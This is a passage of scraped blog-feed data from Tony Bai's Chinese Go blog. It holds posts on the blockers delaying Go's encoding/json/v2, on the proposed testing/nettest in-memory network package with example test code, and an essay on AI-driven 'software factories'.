loading=\"lazy\" src=\"/images/wp-content/uploads/2026/2026-software-development-anthropic-agentic-coding-trends-report-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/11/2026-software-development-anthropic-agentic-coding-trends-report\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/11/2026-software-development-anthropic-agentic-coding-trends-report\"\u003ehttps://tonybai.com/2026/02/11/2026-software-development-anthropic-agentic-coding-trends-report\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e时间来到 2026 年初。回顾过去的一年，软件工程领域发生的变化比过去十年加起来还要多。\u003c/p\u003e\n\u003cp\u003e如果说 2024-2025 年是 \u003cstrong\u003eAI Coding（AI 编程）\u003c/strong\u003e 的“试水期”，开发者们还在为 Cursor 的 Tab 补全感到兴奋，或者为 Claude 3.5 能够写出一个贪吃蛇游戏而惊叹；那么 2026 年，正如 Anthropic 最新发布的重磅报告《\u003ca href=\"https://resources.anthropic.com/hubfs/2026%20Agentic%20Coding%20Trends%20Report.pdf\"\u003e2026 Agentic Coding Trends Report\u003c/a\u003e》所言，我们正式进入了 \u003cstrong\u003eAgentic Coding（智能体编程）\u003c/strong\u003e 的深水区。\u003c/p\u003e","title":"2026 软件开发新纪元：解读 Anthropic《Agentic Coding 趋势报告》"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/11/go-1-26-json-v2-delay-7-technical-roadblocks\n大家好，我是Tony Bai。\nGo 1.26 预计将于本月（2026 年 2 月）正式发布。然而，在即将到来的 release notes 的欢呼声中，有一个备受瞩目的名字依然带着“实验性”的标签躲在 GOEXPERIMENT 背后——那就是 encoding/json/v2。\n作为 Go 生态中最核心的基础设施之一，JSON 库的每一次呼吸都牵动着数百万开发者的神经。从 v1 到 v2，不仅仅是性能的提升，更是一场关于API 设计哲学、向后兼容性与极致性能的艰难博弈。\n很多人以为 v2 的延迟是因为“官方动作慢”或“设计理念之争”。但当我们深入 json/v2 工作组的看板，剥开表层的讨论，会发现横亘在稳定版之前的，是七个具体而微、却又关乎全局的技术“钉子”。这些问题并非宏大的路线图分歧，而是关乎浮点数精度、错误处理语义、API 封装性等实打实的工程细节。\n本文将基于最新的 GitHub Issues 讨论（截至 2026 年 2 月），带你通过显微镜审视这七大阻塞问题，一窥 Go 标准库演进背后的严谨与妥协。\n七大阻塞问题（Blockers）一览 深度解析：魔鬼藏在细节中 1. API 设计的“丑陋妥协”：jsontext.Internal (#73435) 在当前的 encoding/json/jsontext 包中，竟然存在一个导出的 Internal 类型。这在 Go 标准库的审美中，简直是“房间里的大象”。\njsontext 是 v2 引入的底层包，专注于 JSON 的语法解析（Tokenizing），而上层的 json 包负责语义绑定（Binding）。为了让上层包能够访问底层的缓冲区或状态机，当前的实现不得不导出一个 Internal 符号。\n这违背了 Go 标准库的黄金法则之一：公共 API 必须是为用户设计的，而不是为实现者自己设计的。\nJoe Tsai (dsnet) 提出了一种解决方案：将 jsontext 的核心逻辑移入 encoding/json/internal/jsontext，然后通过类型别名（Type Alias）在公共包中暴露 API。然而，这带来了一个新的难题：godoc 对类型别名的支持并不友好，生成的文档可能会让用户感到困惑，因为方法都挂载在内部类型上。\n这个问题已经上升为工具链生态问题。如果这个问题不解决，v2 发布后将面临两个风险：要么用户依赖了这个“临时” API 导致未来无法修改，要么标准库留下了一个永久的“伤疤”。\n2. 致命的递归：当 Unmarshaler 遇到指针 (#75361) 这是一个真实且诡异的 Bug。一位开发者在迁移旧代码时发现，以下模式在 v1 中正常工作，但在开启 GOEXPERIMENT=jsonv2 后会导致栈溢出（Stack Overflow）：\ntype MyType string // 自定义 Unmarshal 方法 func (m *MyType) UnmarshalJSON(b []byte) error { // 试图通过定义一个新类型来“剥离”当前类型的方法，以回退到默认行为 type MyTypeNoMethods *MyType var derived MyTypeNoMethods = MyTypeNoMethods(m) // v2 在这里会错误地再次识别出 derived 拥有 UnmarshalJSON 方法 // 从而导致无限递归调用自己 return json.Unmarshal(b, derived) } 在 v1 中，开发者习惯通过类型转换来“剥离”自定义方法。但在 v2 中，为了修复 v1 中某些指针方法无法被调用的 Bug（如 #22967），引入了更激进的方法集查找逻辑。\nv2 的逻辑是：只要这个值的地址（Addressable）能找到 UnmarshalJSON 方法，就调用它。在上面的例子中，derived 虽然是新类型，但它底层的指针指向的还是 MyType，v2 过于“聪明”地认为应该调用 ( MyType).UnmarshalJSON，结果造成了死循环。\n这是一个典型的“修复了一个 Bug，却引入了另一个 Bug”的案例。Go 团队目前倾向于保留 v2 的正确逻辑（即更一致的方法调用），但也必须为这种遗留代码提供一种检测机制。目前的计划是引入运行时检测或 go vet 检查，明确告知用户：请使用 type MyTypeNoMethods MyType（非指针别名）来剥离方法，而不是使用指针别名。\n3. 浮点数的“薛定谔精度”：float32 (#76430) 下面是展示该问题的一段示例代码：\nvar f float32 = 3.1415927 // math.Pi 的 float32 近似值 json.Marshal(f) 输出应该是 3.1415927（保持 float32 精度），还是 3.1415927410125732（提升到 float64 精度以确保无损）？\nGo v1 的 json 包为了兼容性，倾向于将所有浮点数视为 float64 处理。这导致 float32 在序列化时经常会出现“精度噪音”——那些用户并不想要的、只有在 float64 精度下才有意义的尾数。\n然而，v2 的 jsontext 包默认使用 64 位精度。这导致了 json.Marshal（上层）和 jsontext.Encoder（底层）在行为上的不一致。\n用户期望：float32 就该像 float32，短小精悍。 技术现实：JSON 标准（RFC 8259）并没有区分浮点精度。 性能视角：处理 32 位浮点数理论上更快，但需要专门的算法路径。 Go 团队正在考虑引入 Float32 构造器和访问器到 jsontext 包中，并修改底层的 AppendFloat 逻辑，以支持显式的 32 位浮点数格式化。这不仅是为了“好看”，更是为了数值正确性——避免“双重舍入”（Double Rounding）带来的微小误差。\n4. 选项系统的“任督二脉”：透传难题 (#76440) 你调用 json.Marshal(v, json.WithIndent(” “)) 很爽，但如果你想控制底层的 jsontext 行为（比如“允许非法 UTF-8”或“允许重复键名”），你发现：顶层函数把路堵死了。目前的 MarshalEncode 只接受 json.Option，不接受 jsontext.Option。\nv2 将 json（语义层）和 jsontext（语法层）拆分是架构的一大进步。但这也带来了配置穿透的问题。\n如果为了保持 API 纯洁，强迫用户必须先创建一个 jsontext.Encoder 并在那里配置选项，再传给 json.MarshalEncode，那么 99% 的简单用例都会变得无比繁琐。\nGo团队给出的提案是打破层级隔离，允许 json.Marshal 等顶层函数直接接受 jsontext.Option。这是一个实用主义战胜洁癖的胜利。\n5. 功能做减法：unknown 标签的存废 (#77271) v2 曾引入了一个 unknown 结构体标签，用于指示某个字段专门用来捕获所有未知的 JSON 字段。同时，还有一个 DiscardUnknownMembers 选项用于丢弃未知字段。\ndsnet（Joe Tsai）发起提案，建议删除两个功能。理由如下：\n功能重叠：v2 已经引入了 inline 标签，它与 unknown 的行为非常相似，仅仅是语义上的微小差别（是否包含“已知”字段）。这种微小的差别会让用户感到困惑。 API 极简主义：如果用户真的需要处理未知字段，可以通过自定义 Unmarshaler 来实现，或者利用 inline 标签配合后期处理。 向后兼容的智慧：添加功能永远比删除功能容易。现在删除，未来如果真有需求还可以加回来；但如果现在保留，未来想删就难了。 6. 控制流的缺失：SkipFunc (#74324) json.SkipFunc 是 v2 引入的一个 Sentinel Error，用于告诉编码器“跳过当前字段/值”。目前它只能在 MarshalToFunc（用户自定义函数）中使用。但如果我在类型的方法 MarshalJSONTo 中想跳过自己怎么办？目前是不支持的。\n这是一个典型的**“二等公民”问题**。用户自定义的函数拥有比类型方法更高的权限。这导致在迁移旧代码时，如果要实现“条件性跳过”，必须写出非常丑陋的 hack 代码（比如定义一个空结构体来占位）。\n允许 MarshalJSONTo 返回 SkipFunc 看似简单，但它要求调用者必须处理这个错误。这意味着不能直接调用 v.MarshalJSONTo，而必须通过 json.Marshal 来调用，否则你会收到一个未处理的错误。这需要文档和工具链的配合。\n7. 文档真空：新接口的最佳实践 (#76712) v2 引入了 MarshalerTo 和 UnmarshalerFrom 两个高性能接口，它们直接操作 jsontext.Encoder/Decoder，避免了内存分配。但是，到底该什么时候用它们？\n目前缺乏明确的文档指导。如果用户在任何时候都直接调用 v.MarshalJSONTo(enc)，可能会绕过 json.Marshal 中处理的许多全局选项（如大小写敏感、省略零值等）。\nGo 团队计划在文档中明确：这属于“高级 API”，普通用户应始终使用 json.Marshal，除非你在编写极其底层的库。\n路线图：我们何时能用上“真v2”？ 根据最新的工作组纪要和 Issue 状态，我们可以画出一条清晰的时间线：\n当前 (Go 1.26, 2026.02)：GOEXPERIMENT=jsonv2 继续存在。v2 代码库已进入主仓库，但 API 仍未冻结。此时适合库作者进行集成测试，但不建议在生产环境核心业务中大规模铺开。 决战期 (2026 H1)：必须彻底解决上述 7 个 Blocker。特别是 API 签名相关的修改（如 float32 支持和 SkipFunc），一旦定型就是 10 年承诺。 目标 (Go 1.27, 2026.08)：如果一切顺利，我们有望在今年 8 月发布的 Go 1.27 中，看到移除实验标签、正式可用的 encoding/json/v2。这意味着 Go 语言将迎来其历史上最大规模的标准库升级之一。 小结：给 Gopher 的建议 别急着重构：现有的 encoding/json (v1) 依然稳健。除非你有极端的性能需求（v2 性能提升显著）或需要 v2 独有的某些特性，否则请按兵不动。 关注 jsontext：即使不用 v2 的序列化，新独立的 jsontext 包也是一个处理 JSON Token 流的神器，非常适合写高性能的底层解析工具。它的 API 设计比 v1 的 Scanner 更加现代化和高效。 参与反馈：现在是影响 Go 未来 10 年 JSON 处理方式的最后窗口期。如果你对上述 Issue 有独到见解，去 GitHub 上发声吧！ Go 团队的“慢”，是对生态的“敬”。这七个拦路虎，每一个都是为了让未来的十年里，我们能写出更少 Bug、更快速度的 Go 代码。好事多磨，让我们静候佳音。\n参考资料 json/v2 工作组的看板 – https://github.com/orgs/golang/projects/50 encoding/json/v2: working group meeting minutes – https://github.com/golang/go/issues/76406 你更在意什么？\nGo 团队为了 API 的洁癖和严谨，宁愿让 json/v2 多飞一会儿。在你的开发实践中，你更倾向于“尽快用上新特性”，还是“哪怕慢一点也要保证接口设计的绝对完美”？你对 float32 的精度噪音有切肤之痛吗？\n欢迎在评论区分享你的看法，我们一起坐等 Go 1.26 官宣！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/11/go-1-26-json-v2-delay-7-technical-roadblocks/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-1-26-json-v2-delay-7-technical-roadblocks-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/11/go-1-26-json-v2-delay-7-technical-roadblocks\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/11/go-1-26-json-v2-delay-7-technical-roadblocks\"\u003ehttps://tonybai.com/2026/02/11/go-1-26-json-v2-delay-7-technical-roadblocks\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eGo 1.26 预计将于本月（2026 年 2 月）正式发布。然而，在即将到来的 release notes 的欢呼声中，有一个备受瞩目的名字依然带着“实验性”的标签躲在 GOEXPERIMENT 背后——那就是 \u003cstrong\u003eencoding/json/v2\u003c/strong\u003e。\u003c/p\u003e","title":"Go 1.26 发布在即，为何 json/v2 依然“难产”？七大技术路障全解析"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/10/goodbye-flaky-tests-go-testing-nettest-proposal\n大家好，我是Tony Bai。\n在 Go 语言的测试哲学中，我们一直追求快速、稳定和可重复。然而，一旦测试涉及到 net 包——无论是 HTTP 服务、RPC 框架还是自定义协议——这种追求往往就会撞上现实的墙壁。\n我们通常面临两种选择：要么在 localhost 上监听真实端口，但这会导致测试并发时的端口冲突、防火墙干扰以及操作系统层面的不确定性；要么使用 net.Pipe，但它那“同步、无缓冲”的特性与真实的 TCP 连接大相径庭，常常导致生产环境运行良好的代码在测试中死锁。\n为了彻底解决这一“最后一公里”的测试难题，Go 团队的 Damien Neil 提议引入 testing/nettest。这是一个完全在内存中运行，但行为上高度仿真真实网络栈（支持缓冲、异步、错误注入）的实现。\n本文将和你一起剖析该提案的背景、设计细节以及它将如何改变我们编写网络测试的方式。\n为什么我们需要 testing/nettest？ 要理解 nettest 的价值，我们首先需要审视现状。目前的 Go 标准库在网络测试辅助方面，存在显著的“中间地带真空”。\nnet.Pipe 的致命缺陷 net.Pipe() 是目前标准库提供的唯一内存网络模拟工具。但它本质上是一个同步内存管道。\n同步阻塞：写入端必须等待读取端准备好，数据才能传输。没有内部缓冲区。 死锁陷阱：真实的 TCP 连接是有内核缓冲区的。应用代码往往假设“由于有缓冲，我可以先写一点数据，然后再去读”。这种假设在 net.Pipe 上会直接导致死锁——写操作阻塞在等待读，而读操作还没开始。 行为失真：它无法模拟网络延迟，也无法模拟缓冲区满时的阻塞行为。 localhost 的不可靠性 使用回环地址（Loopback）是另一种常见做法，但它带来了“外部依赖”：\n端口资源：并行运行成千上万个测试时，临时端口可能耗尽。 环境干扰：CI 环境可能有奇怪的防火墙规则或网络配置。 速度瓶颈：尽管是回环，依然涉及系统调用和内核协议栈的开销，比纯内存操作慢得多。 synctest 的拼图 Go 1.24 引入了实验性的 testing/synctest 包，旨在通过虚拟时钟解决并发测试中的时间依赖问题。然而，synctest 难以接管真实的系统网络调用。为了让 synctest 发挥最大威力，Go 需要一个完全由用户态代码控制、不依赖操作系统内核的网络实现。nettest 正是这块关键的拼图。\nnettest 核心设计：全功能内存网络栈 testing/nettest 的目标非常明确：提供 net.Listener、net.Conn 和 net.PacketConn 的内存实现，使其行为尽可能接近真实的 TCP/UDP，同时暴露极强的控制力。\n异步与缓冲：还原真实的 TCP 行为 这是 nettest 与 net.Pipe 最大的区别。nettest.Conn 内置了缓冲区。\n写操作：写入数据到内部缓冲区后立即返回，无需等待对端读取。 读操作：从缓冲区读取数据。 缓冲区控制：提案引入了 SetReadBufferSize(size int) 方法。你可以将缓冲区设置为 0（模拟 net.Pipe），也可以设置为 4KB 或无限大。这使得开发者可以精确测试“网络拥塞”导致写入阻塞的边缘情况。 // 创建一对连接 client, server := nettest.NewConnPair() // 模拟一个拥塞的连接，缓冲区仅为 1 字节 server.SetReadBufferSize(1) // 此时写入大量数据，client.Write 将会阻塞，直到 server 端读取 go func() { client.Write([]byte(\u0026#34;hello world\u0026#34;)) }() 地址模拟与配置钩子 在真实网络中，我们可以通过 IP 地址来区分连接来源。nettest 通过 netip.AddrPort 模拟了这一点。\n更妙的是 Listener.NewConnConfig 方法，它允许我们在 Server Accept 之前，对“即将到来”的连接进行修改。\n实战场景：测试 IP 白名单中间件\n以往测试 IP 白名单，你可能需要复杂的 Mock 或者真的去配置网卡。现在：\nl := nettest.NewListener() defer l.Close() // 模拟一个来自特定 IP 的恶意连接 go func() { conn := l.NewConnConfig(func(c *nettest.Conn) { // 伪造源 IP c.SetLocalAddr(netip.MustParseAddrPort(\u0026#34;192.168.1.100:12345\u0026#34;)) }) conn.Close() }() conn, _ := l.Accept() // 在这里断言你的中间件是否正确拒绝了该 IP 故障注入：测试“那 1% 的异常” 网络编程中最难测试的不是“连通”，而是“断连”、“超时”和“读写错误”。nettest 将错误注入标准化了。\n它提供了一系列 Set*Error 方法：\nSetReadError(err) SetWriteError(err) SetAcceptError(err) SetCloseError(err) 你可以通过 SetReadError 模拟连接在中途突然 Reset，验证你的客户端是否会按预期进行重试。这些注入的错误会被自动包装在 *net.OpError 中，以保持与真实网络行为的一致性。\n状态内省 (Introspection) 我们在测试中经常需要断言“连接是否已关闭”或者“是否有数据可读”。在标准 net 包中，这通常需要发起一个阻塞的 Read 调用，如果超时则认为无数据。这种基于时间的断言是 Flaky Test 的温床。\nnettest 提供了非阻塞的状态查询方法：\nCanRead() bool：缓冲区里有数据吗？或者连接关闭了吗？ CanAccept() bool：Accept 队列里有连接吗？ IsClosed() bool：连接彻底关闭了吗？ 配合 synctest，这将允许我们编写出逻辑极其严密、不依赖 time.Sleep 的确定性测试。\nUDP 也能 Mock：PacketNet 除了面向流（Stream）的 TCP 模拟，提案还照顾到了面向报文（Packet）的 UDP。\n由于 UDP 没有“连接”的概念，不能像 TCP 那样简单返回一对 Conn。nettest 引入了 PacketNet 的概念，它就像一个微型的内存交换机。\n// 创建一个虚拟的 UDP 网络环境 pn := nettest.NewPacketNet() // 在这个网络中创建两个端点 c1, _ := pn.NewConn(addr1) c2, _ := pn.NewConn(addr2) // c1 发送给 c2 c1.WriteTo([]byte(\u0026#34;ping\u0026#34;), addr2) // c2 收到数据 buf := make([]byte, 1024) n, src, _ := c2.ReadFrom(buf) 这使得测试基于 UDP 的自定义协议（如 QUIC 的某些握手流程、或是自定义的游戏协议）变得轻而易举，且完全隔离于宿主机网络。\n边界与权衡：它不是万能的 在提案的讨论中，Damien Neil 非常清晰地界定了 nettest 的边界。理解它“不做”什么，和理解它“做”什么同样重要。\n不模拟特定的系统错误码：你无法通过 nettest 测试你的程序是否正确处理了 Linux 特有的 ECONNREFUSED 或 Windows 特有的错误码。因为跨平台模拟这些行为极其复杂且容易出错。 不模拟网络延迟和抖动：nettest 的数据传输是瞬间完成的。如果你需要测试 TCP 拥塞控制算法或超时重传的具体时间点，你可能仍需要更复杂的模拟器或真实网络。 不支持 Unix Domain Socket (目前)：虽然社区有呼声（如 crypto/ssh 测试需要），但目前的提案聚焦于 TCP/UDP 风格的 API。不过，设计上并未把路堵死，未来可以扩展。 社区反响与未来展望 该提案一经发布，立即引起了 Go 社区资深开发者的强烈共鸣。\nCrypto 团队的期待：前Go 安全负责人 FiloSottile 表示，构建用于测试 crypto/tls 和 ssh 的跨平台连接对一直是一个巨大的痛点，nettest 将极大地简化标准库自身的测试代码。 HTTP 测试的革新：Issue #14200 曾讨论过让 httptest.Server 支持内存网络以加速测试。nettest 的出现，使得 httptest.NewUnstartedServer 未来可能支持传入一个内存 Listener，从而让 HTTP 测试飞起来。 下一步是什么？\n考虑到 API 表面积较大，Go 团队计划遵循“实验先行”的原则。nettest 将首先在 golang.org/x/exp/testing/nettest 中落地。这意味着我们很快就能在项目中引入并尝鲜了。待经过充分的社区验证和 API 打磨后，它最终将进入标准库，成为 testing 包下的一员猛将。\n小结 testing/nettest 的提案，看似只是增加了一个测试工具，实则反映了 Go 团队在工程效能上的深层思考。它试图消除测试中的“不确定性”，让网络测试回归逻辑的本质，而不是与操作系统和网络协议栈的噪声做斗争。\n对于我们每一位 Gopher 而言，这意味着未来的测试代码将更少依赖 time.Sleep，更少处理端口冲突，运行速度更快，且更加稳定。让我们拭目以待，并准备好在 x/exp 发布的第一时间去拥抱它。\n资料链接：https://github.com/golang/go/issues/77362\n聊聊你的测试难题\n网络测试中的“随机失败”曾让你抓狂吗？你是否也曾为了避开 net.Pipe 的坑而被迫在测试里撒满 time.Sleep？对于即将到来的 nettest，你最期待它的哪个功能？\n欢迎在评论区分享你的测试心得或吐槽！让我们一起期待测试变得更简单、更稳健。\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/10/goodbye-flaky-tests-go-testing-nettest-proposal/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/goodbye-flaky-tests-go-testing-nettest-proposal-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/10/goodbye-flaky-tests-go-testing-nettest-proposal\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/10/goodbye-flaky-tests-go-testing-nettest-proposal\"\u003ehttps://tonybai.com/2026/02/10/goodbye-flaky-tests-go-testing-nettest-proposal\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 Go 语言的测试哲学中，我们一直追求快速、稳定和可重复。然而，一旦测试涉及到 net 包——无论是 HTTP 服务、RPC 框架还是自定义协议——这种追求往往就会撞上现实的墙壁。\u003c/p\u003e","title":"告别 Flaky Tests：Go 官方拟引入 testing/nettest，重塑内存网络测试标准"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/10/ai-agent-realizes-ultimate-dream-software-factory\n大家好，我是Tony Bai。\n在计算机科学与软件工程的历史长河中，始终存在着一个令人魂牵梦绕、却又屡屡受挫的终极梦想——“软件工厂（Software Factory）”。\n早在 20 世纪 60 年代，日本的大型科技企业（如日立、东芝）就开始尝试引入制造业的流水线理念来生产软件。80 年代，CASE（计算机辅助软件工程）工具试图实现全流程自动化；21 世纪初，MDA（模型驱动架构）试图通过 UML 图直接生成代码。\n然而，这些尝试无一例外都未能成为主流。\n为什么？因为软件开发与硬件制造有着本质的不同。硬件是标准化的，而软件需求充满了不确定性（Ambiguity）、非标准化（Non-standard）和创造性（Creativity）。传统的刚性流水线无法处理这种“软”的复杂性。\n但这一次，不一样。\n随着以 GPT-5.2、Claude 4.5、Gemini Pro 3.0 等为代表的大语言模型（LLM）能力的爆发，以Claude Code、Gemini Cli等编码智能体的快速演进，以及Agentic Workflow（智能体工作流）的成熟，我们第一次拥有了能够理解“非标需求”并将其转化为“标准代码”的通用推理引擎。\n特斯拉前 AI 总监 Andrej Karpathy 将这一刻定义为 Software 3.0 的黎明。在这个新时代，那个尘封已久的“软件工厂”蓝图，正在从幻想变成触手可及的现实。\n今天，我们就来深度剖析这座正在崛起的 AI 软件工厂，看看它将如何重塑我们的行业、生态与职业。\nSoftware 3.0：从“写代码”到“定义目标” 要理解软件工厂的本质，我们需要先理解 Karpathy 提出的软件演进三阶段论。这是一次技术的迭代，更是编程范式的根本性迁移。\nSoftware 1.0：显式编程 (Code) 这是我们最熟悉的时代。程序员使用 Go、Python、C++、Java、TypeScript 等语言，编写显式的逻辑规则。\n特征： 人类必须清楚地知道每一步该怎么做（How），然后翻译给机器。 局限： 复杂度随着代码行数线性（甚至指数）增长，维护成本极高。这是典型的“手工作坊”模式。 Software 2.0：数据驱动 (Weights) 深度学习的兴起带来了 2.0 时代。程序员不再编写规则，而是编写目标（损失函数）和准备数据，由优化器（Optimizer）在神经网络的权重空间中搜索出最优解。这是一个黑盒。虽然它能解决图像识别等 1.0 很难解决的问题，但它缺乏逻辑的可解释性。\nSoftware 3.0：自然语言编程 (Prompts) 现在，我们进入了 3.0 时代。LLM 成为了一个新的、通用的可编程实体。\n特征： 编程语言变成了英语（或任何自然语言）。我们不再需要告诉机器“怎么做（How）”，只需要告诉它“做什么（What）”和“想要什么结果（Goal）”。 质变： Prompt 成了新的源代码。而能够理解 Prompt 并执行任务的 AI Agent，成了新时代的工人。 正是 Software 3.0 的出现，让“输入模糊需求，输出精确系统”成为了可能。\n全景图：解构一座柔性的“AI 软件工厂” 想象一下，未来的软件交付不再是一个团队几周的冲刺，而是一个工厂几分钟的运转。这座工厂不再由传送带和机械臂组成，而是由运行在云端的 Agent Swarm（智能体集群）构成。\n这是一座柔性制造的超级工厂，其运作流程如下：\n输入端：非结构化的意图 你不需要编写代码，甚至不需要编写格式严格的 PRD 文档。\n工厂的原材料可以是极其粗糙的：\n一段 30 分钟的产品会议录音。 一张在白板上画的草图照片。 或者仅仅是一句模糊的想法：“帮我做一个给宠物猫记账的小程序，要能识别猫粮的发票，还要有月度支出的数据看板。” 生产车间：智能体协作网络 需求进入工厂后，会被一个Orchestrator（编排器）接管，并分发给不同的“职能车间”。这些车间由专精不同领域的 Agent 组成：\n设计车间 (Architect Agent)： 它首先分析需求，进行系统拆解。它会输出：\n* API Spec: 定义前后端交互的接口（如 OpenAPI/Swagger）。 * Database Schema: 设计数据库表结构（如 SQL DDL）。 * Tech Stack: 根据需求量级选择技术栈（是选 Next.js 还是纯 HTML？）。 制造车间 (Coder Agent)： 这是工厂的主力军。它会裂变出多个子 Agent 并行工作：\n* Frontend Agent: 根据设计稿生成 React 组件。 * Backend Agent: 编写 API 逻辑和数据库访问层。 * SQL Agent: 编写复杂的查询语句。 它们通过 GitHub 或共享文件系统进行协作，像真实团队一样提交 Pull Request。\n质检车间 (QA Agent)： 这是保证“良品率”的关键。QA Agent 不会等到代码写完才介入，而是采用 TDD（测试驱动开发）模式。\n* 它会先根据 Spec 生成测试用例（Test Cases）。 * 然后对 Coder Agent 提交的代码进行“红绿循环 (Red-Green Loop)”测试。 * 如果发现 Bug，它不会只是报错，而是将错误日志作为“反馈信号”退回给制造车间，要求重做。 装配车间 (DevOps Agent)： 代码通过测试后，DevOps Agent 上场。它编写 Terraform 或 Dockerfile，调用 AWS/Aliyun/Cloudflare的 API，自动配置云端环境，进行部署。\n输出端：即时可用的服务 工厂的传送带末端，输出的不是一堆冷冰冰的代码文件，而是一个可访问的 URL，一个已经配置好的 Admin 后台，以及一套完善的系统监控仪表盘。\n这就是 Software 3.0 的终极形态：Prompt in, System out.\n核心变革：柔性制造与动态编排 为什么我们要强调这是“柔性”工厂？因为它解决的是传统 CI/CD 流水线最大的痛点——刚性。\n传统的流水线是线性的（Build -\u0026gt; Test -\u0026gt; Deploy）。一旦 Test 挂了，流水线就停了，红灯亮起，必须等待人类工程师介入修 Bug。\n但 AI 软件工厂是有生命、会呼吸的。\n它是基于 Agentic Workflow 的动态有向无环图（DAG），甚至是包含循环的图。\n自愈 (Self-Healing)：当 QA Agent 发现 Bug 时，系统不会停机。它会触发一个**“修复循环”**。Coder Agent 会分析 QA 给出的错误日志，结合源代码进行推理，修改代码，再次提交。这个过程可能在几秒钟内迭代数十次，直到测试通过。 动态扩容 (Dynamic Scaling)：如果 Architect Agent 发现需求特别复杂（比如涉及 50 个页面），它会自动指挥工厂“招人”——即启动更多的 Coder Agent 实例并行开发，最后再进行合并。 这是一条会思考的流水线。它不仅生产代码，还生产基础设施（IaC）。它与云厂商深度集成，实现了真正的 Serverless——作为用户，你连 Server 都不用感知，你只感知 Service。\n行业震荡：生态与角色的重构 当这种“输入需求，输出系统”的工厂模式普及后，软件行业的格局将发生天翻地覆的变化。\n软件工程：从“人际协作”到“机机协议” 传统的软件工程理论（Agile, Scrum, 看板）很大程度上是为了解决“人与人协作”中的摩擦——信息不对称、理解偏差、情绪波动。\n但在 AI 工厂里，协作变成了 A2A (Agent-to-Agent) 的协议交互。\nAgent 不会开小差。 Agent 不会误解符合 Spec 的接口定义。 Agent 不需要每日站会同步进度。 未来的软件工程，将从管理“人”，转向管理“协议”和“标准”。协作的重心将聚焦于“人与工厂”的交互——即如何更精准、更高效地向工厂下达指令（Prompt Engineering / Spec Writing）。\n软件生态：开源项目的“模具化” 在 Software 1.0 时代，开源项目（如 React, Spring, Django）是给人用的库（Library）。我们需要学习它的文档，理解它的 API。\n在 Software 3.0 时代，开源项目将变成工厂的“模具”。\n我们可能不再直接引用库，而是告诉工厂：“用 React 的模具生产前端”。源代码（Source Code）本身可能会变成像汇编语言一样的中间产物/表示——只有 AI 读写它们，而人类只会面向Spec。\nSoftware is ephemeral. Spec is eternal.（软件是瞬态的，规格是永恒的。）\n从业者：从“码农”到“厂长” 这是最残酷但也最充满机遇的转变。软件公司的人才结构将呈现极端的两极分化：\n订货人 (Product Owner / PM)： 负责定义“我要什么”。在工厂时代，生产成本趋近于零，“决策”的成本变得极高。你需要极强的业务洞察力、审美能力和用户同理心。因为工厂生产得太快了，如果你不知道什么是好的，你生产出来的就是一堆垃圾。\n厂长 (Platform Engineer / Architect)： 负责维护工厂本身。你需要设计 Agent 之间的协作 SOP，优化工厂的“良品率”，集成最新的模型能力，确保工厂不会生产出有安全漏洞的产品。\n消失的角色： 纯粹的、重复性的“代码搬运工”和初级 CRUD 工程师。他们的工作将完全被 Coder Agent 取代。\n小结：工业革命的前夜 我们正处于软件行业“手工作坊”向“机器大工业”过渡的前夜，就像 1760 